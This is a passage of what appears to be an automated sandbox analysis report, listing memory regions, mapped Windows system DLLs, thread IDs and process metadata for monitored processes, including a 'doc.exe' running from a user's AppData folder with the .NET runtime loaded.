"private_0x000007fffff98000" filename = "" Region: id = 2269 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2270 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2271 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2272 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2273 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2274 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2275 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2276 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2277 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2278 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2279 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2280 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2281 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2282 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2283 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2284 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2285 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2286 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2311 start_va = 0x3440000 end_va = 0x34bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003440000" filename = "" Region: id = 2312 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 2983 start_va = 0x7fef01f0000 end_va = 0x7fef036ffff monitored = 0 entry_point = 0x7fef02280d0 region_type = mapped_file name = "racengn.dll" filename = "\\Windows\\System32\\RacEngn.dll" (normalized: "c:\\windows\\system32\\racengn.dll") Region: id = 3238 start_va = 0xb60000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 3239 start_va = 0x14c0000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 3240 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3241 start_va = 0x7fef1ef0000 end_va = 0x7fef1f16fff monitored = 0 entry_point = 0x7fef1f0b69c region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Thread: id = 166 os_tid = 0xa94 Thread: id = 167 os_tid = 0xa8c Thread: id = 168 os_tid = 0xce4 Thread: id = 169 os_tid = 0xcb0 Thread: id = 170 os_tid = 0x750 Thread: id = 171 os_tid = 0x3ec Thread: id = 172 os_tid = 0x694 Thread: id = 173 os_tid = 0x110 Thread: id = 174 os_tid = 0x5dc Thread: id = 175 os_tid = 0x5c8 Thread: id = 176 os_tid = 0x5c0 Thread: id = 177 os_tid = 0x574 Thread: id = 178 os_tid = 0x570 Thread: id = 179 os_tid = 0x128 Thread: id = 180 os_tid = 0x13c Thread: id = 181 os_tid = 0x3b0 Thread: id = 182 os_tid = 0x3ac Thread: id = 183 os_tid = 0x39c Thread: id = 184 os_tid = 0x30c Thread: id = 185 os_tid = 0x2fc Thread: id = 186 os_tid = 0x2dc Thread: id = 187 os_tid = 0x2cc Thread: id = 188 os_tid = 0x2c4 Thread: id = 193 os_tid = 0xc74 Thread: id = 252 os_tid = 0xa54 Thread: id = 255 os_tid = 0xadc Process: id = "8" image_name = "doc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe" page_root = "0x29736000" os_pid = "0xc7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xef4" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2483 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2484 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2485 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2486 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2487 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2488 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2489 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2490 start_va = 0x1360000 end_va = 0x1401fff monitored = 1 entry_point = 0x13d26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2491 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2492 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2493 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2494 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2495 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2496 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2497 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2498 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2499 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2500 start_va = 0x240000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2501 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2502 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2503 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2504 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2505 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2506 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2507 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 2508 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2509 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 2510 start_va = 0x2c0000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2511 start_va = 0x67950000 end_va = 0x67999fff monitored = 1 entry_point = 0x67952e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 2512 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2513 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2514 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2515 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2516 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2517 start_va = 0x1d0000 end_va = 0x236fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2518 start_va = 0x430000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2519 start_va = 0x560000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 2520 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2521 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2522 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2523 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2524 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2525 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2526 start_va = 0x710000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 2527 start_va = 0x678c0000 end_va = 0x6794cfff monitored = 1 entry_point = 0x678d2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 2528 start_va = 0x73430000 end_va = 0x73432fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2529 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2530 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2531 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2532 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2533 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2534 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2535 start_va = 0x710000 end_va = 0x897fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2536 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 2537 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2538 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2539 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2541 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2542 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2543 start_va = 0x8c0000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 2544 start_va = 0x1410000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001410000" filename = "" Region: id = 2545 start_va = 0x430000 end_va = 0x4cbfff monitored = 1 entry_point = 0x4a26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2546 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 2547 start_va = 0x430000 end_va = 0x4cbfff monitored = 1 entry_point = 0x4a26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2548 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2549 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2550 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2554 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2555 start_va = 0x65ee0000 end_va = 0x65ef3fff monitored = 0 entry_point = 0x65eeac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 2556 start_va = 0x65d50000 end_va = 0x65dfafff monitored = 0 entry_point = 0x65de5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 2561 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2563 start_va = 0xc0000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2564 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2565 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2566 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2567 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2568 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2569 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2570 start_va = 0x310000 end_va = 0x310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2571 start_va = 0x320000 end_va = 0x320fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2572 start_va = 0xa50000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2573 start_va = 0xbe0000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 2574 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2575 start_va = 0xc10000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 2576 start_va = 0xd80000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 2577 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2579 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2580 start_va = 0x2810000 end_va = 0x480ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 2581 start_va = 0x560000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 2582 start_va = 0x6d0000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 2584 start_va = 0x690000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 2585 start_va = 0xe30000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 2586 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2587 start_va = 0x440000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2588 start_va = 0x1080000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 2589 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2590 start_va = 0x4810000 end_va = 0x4adefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2591 start_va = 0x647c0000 end_va = 0x65bcafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 2592 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2593 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2594 start_va = 0xa50000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2595 start_va = 0xba0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 2596 start_va = 0xf30000 end_va = 0x100efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f30000" filename = "" Region: id = 2597 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2598 start_va = 0x60db0000 end_va = 0x60db2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2599 start_va = 0x5f910000 end_va = 0x5f998fff monitored = 1 entry_point = 0x5f911130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 2600 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2601 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2614 start_va = 0x63d60000 end_va = 0x647b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 2621 start_va = 0x61810000 end_va = 0x619b2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\system.drawing.ni.dll") Region: id = 2922 start_va = 0x5d750000 end_va = 0x5e5b5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\system.windows.forms.ni.dll") Region: id = 2971 start_va = 0x637b0000 end_va = 0x63d53fff monitored = 1 entry_point = 0x63d3b692 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: 